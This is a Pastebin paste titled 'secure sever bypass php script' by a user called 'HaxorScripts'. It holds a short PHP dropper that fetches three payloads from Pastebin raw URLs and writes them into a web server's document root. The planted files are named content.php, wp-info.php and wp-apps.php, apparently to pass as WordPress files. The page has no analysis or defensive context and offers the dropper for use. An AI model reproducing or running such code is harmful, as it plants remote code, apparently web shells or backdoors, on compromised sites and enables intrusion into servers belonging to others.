Advertisement
HaxorScripts

secure sever bypass php script

Oct 6th, 2018
665
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. <?php
  2. function http_get($url){
  3. $im = curl_init($url);
  4. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  5. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  6. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  7. curl_setopt($im, CURLOPT_HEADER, 0);
  8. return curl_exec($im);
  9. curl_close($im);
  10. }
  11. $check = $_SERVER['DOCUMENT_ROOT'] . "/content.php" ;
  12. $text = http_get('https://pastebin.com/raw/t4dNB8Xg');
  13. $open = fopen($check, 'w');
  14. fwrite($open, $text);
  15. fclose($open);
  16. if(file_exists($check)){
  17. echo $check."</br>";
  18. }else
  19. echo "not exits";
  20. echo "done .\n " ;
  21. $check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-info.php" ;
  22. $text2 = http_get('https://pastebin.com/raw/S9vY5cf1');
  23. $open2 = fopen($check2, 'w');
  24. fwrite($open2, $text2);
  25. fclose($open2);
  26. if(file_exists($check2)){
  27. echo $check2."</br>";
  28. }else
  29. echo "not exits2";
  30. echo "done2 .\n " ;
  31.  
  32. $check3=$_SERVER['DOCUMENT_ROOT'] . "wp-apps.php" ;
  33. $text3 = http_get('https://pastebin.com/raw/kdNUsNCE');
  34. $op3=fopen($check3, 'w');
  35. fwrite($op3,$text3);
  36. fclose($op3);
  37.  
  38.  
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement